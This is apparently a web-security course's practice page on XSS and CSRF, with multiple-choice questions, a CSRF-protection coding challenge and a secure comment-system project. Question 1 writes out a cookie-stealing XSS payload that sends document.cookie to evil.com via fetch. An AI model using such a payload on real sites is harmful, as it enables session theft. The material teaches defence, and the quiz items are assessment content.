Script Valley
Web Security Fundamentals for Developers
Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)/Assessment

Practice & Assessment

Test your understanding of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)

Multiple Choice Questions

5
1

A comment field stores user input as-is and renders it with `element.innerHTML = comment`. An attacker submits `<img src=x onerror=fetch('https://evil.com/?c='+document.cookie)>`. What type of XSS is this?

2

Your CSP is: `Content-Security-Policy: script-src 'self' 'unsafe-inline'`. Why does this CSP fail to prevent XSS?

3

With `SameSite=Lax` on session cookies, which of the following requests will include the cookie?

4

Which code pattern correctly uses a nonce-based CSP to allow only specific inline scripts?

5

In DOM XSS, what makes `element.textContent = userInput` safe while `element.innerHTML = userInput` is dangerous?

Coding Challenges

1
1

Add CSRF Protection to a REST API and SPA Frontend

You are given an Express API with three state-changing endpoints: POST /api/password-change, POST /api/email-change, and DELETE /api/account. None have CSRF protection. Your task: (1) Install and configure the `csurf` npm package using the cookie-based double-submit pattern. (2) Add a GET /api/csrf-token endpoint that returns a fresh token. (3) Protect all three state-changing endpoints with csrfProtection middleware. (4) Write a JavaScript fetch client (for a SPA) that retrieves the token on page load and includes it as an X-CSRF-Token header on all mutations. (5) Write a supertest test that sends a POST /api/password-change without the token and verifies a 403 response. Time estimate: 25 minutes.

Medium

Mini Project

1

Secure Comment System with XSS and CSRF Protection

Build a full-stack comment system with proper XSS and CSRF defenses. Backend (Express + SQLite via better-sqlite3): store comments with author and body fields, serve them via GET /comments, and accept new comments via POST /comments. Protect POST with a CSRF token. Sanitize comment bodies on write using the `sanitize-html` package with an allowlist of only `<b>`, `<i>`, and `<a>` tags. Set a CSP header with `script-src 'nonce-{random}'` and `'strict-dynamic'`. Frontend (plain HTML + JS): render comments using `textContent` (not innerHTML). Fetch the CSRF token on load and include it on all POST requests. Demonstrate that submitting `<script>alert(1)</script>` as a comment renders as escaped text, not executable code. Write a curl test script that submits a comment without a CSRF token and verifies a 403.

Medium